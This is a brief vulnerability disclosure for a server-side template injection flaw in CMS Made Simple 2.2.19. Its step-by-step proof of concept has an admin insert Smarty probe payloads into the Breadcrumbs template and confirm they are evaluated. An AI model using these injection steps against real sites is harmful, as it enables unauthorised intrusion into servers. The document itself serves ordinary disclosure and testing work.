Headline
CMS Made Simple 2.2.19 Server-Side Template Injection
CMS Made Simple version 2.2.19 suffers from a server-side template injection vulnerability.
# Exploit Title: CMS Made Simple Version: 2.2.19 - SSTI# Date: 2024-21-02# Exploit Author: tmrswrr# Vendor Homepage: https://www.cmsmadesimple.org/# Version: 2.2.19# Tested on: https://www.softaculous.com/demos/CMS_Made_Simple1 ) log in as admin and go to Layout > Design Manager > Breadcrumbs2 ) Click edit and write SSTI payload : {7*7} , {$smarty.version},{{7*7}} 3 ) After click Apply > Submit4 ) Go to home page > https://127.0.0.1/CMS_Made_Simple/index.php?page=templates-and-stylesheetswill be see : 49 class="breadcrumbs"